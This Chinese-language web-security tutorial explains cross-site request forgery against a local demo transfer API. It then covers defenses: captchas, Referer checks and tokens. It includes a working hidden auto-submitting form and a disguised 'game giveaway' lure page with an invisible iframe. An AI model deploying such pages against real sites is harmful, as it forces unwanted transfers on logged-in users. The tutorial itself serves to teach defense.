跨站请求伪造（Cross-site request forgery）是一种冒充受信任用户，向服务器发送非预期请求的攻击方式。
攻击的前提是： 用户已经登录过某网站。
攻击者通过一些诱惑性的标题，诱惑用户点击，结果被“钓鱼”，造成一些恶劣的后果，如金钱丢失等。
代码参考：https://github.com/lyraLe/XSS
示例：
如果在本地（127.0.0.1）3000端口，有个用户登录转账网站。通过抓包等分析出转账接口需要传递用户名和金额。
这个时候可以通过在任何一个网站中嵌入下面的代码。
<form name="fished" method="post" action="http://127.0.0.1:3000/api/transfer">
<input value="zfpx" name="target" />
<input value="100" name="balance" />
</form>
⚠️： localhost 和 127.0.0.1不是一回事。而且表态提交不存在跨域问题。域名相同，端口不同时，共享cookie。
然后在控制台中输入
document.fished.submit()
则会直接实现转账成功。
因为上面的方式会出现页面跳转到结果的现象。所以，一般钓鱼网站会将一个表单提交的iframe嵌入到一个钓鱼网站中。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>钓鱼网站</title>
</head>
<body>
<h2>游戏礼包大放送，查看有哪些内容</h2>
<h3>该网站由fishServer启动，访问的端口是3001</h3>
<p>
这是一个钓鱼网站。顾名思义，就是这个网站上可以钓鱼，钓鱼就需要鱼饵，鱼饵就是被钓的人<br/>
感兴趣的图片或者标题和内容。比如美女图片～～～,<br/>
钓鱼网站的危险藏在水下。也就是网站内部隐藏的嵌入网站等。
</p>
<iframe style="display: none" src="./bad.html"></iframe>
<script src="/node_modules/jquery/dist/jquery.js"></script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>恶意网站</title>
</head>
<body>
<form name="fished" method="post" action="http://127.0.0.1:3000/api/transfer">
<input value="zfpx" name="target" />
<input value="100" name="balance" />
</form>
<script>
document.fished.submit();
</script>
</body>
</html>
⚠️： 如果用户登录过本地的网站。在嵌入表单提交的第三方网站本质上拿不到cookie，在提交的时候会自动携带cookie。
如何避免上面的情况发生？
1. 验证码（可通过svg-captcha模拟）--登录后操作某些功能要求输入验证码
该方法用于减少并发量比较多，如12306（登录前就输入验证码）。用于避免CSRF攻击的化，用户体验不好。
实现方式：
钓鱼网站获取不到验证码。只有登录用户看得到。
2. 通过识别来源（请求头中的Referer）--如果Referer和接口的域名端口等不一致，说明被攻击
该方法不靠谱，因为可以通过node等方法伪造请求。
实现方式：
在后端接口接受请求的地方判断req.referer.includes('http://localhost:3000')。括号内是当前的域名和接口。
3. token -- 前后端约定一个令牌
类似验证码。但是不需要用户输入。他通过（cookie+标志）或者其他规则来生成一个token。
实现方法：
前端通过发送token,后端验证token.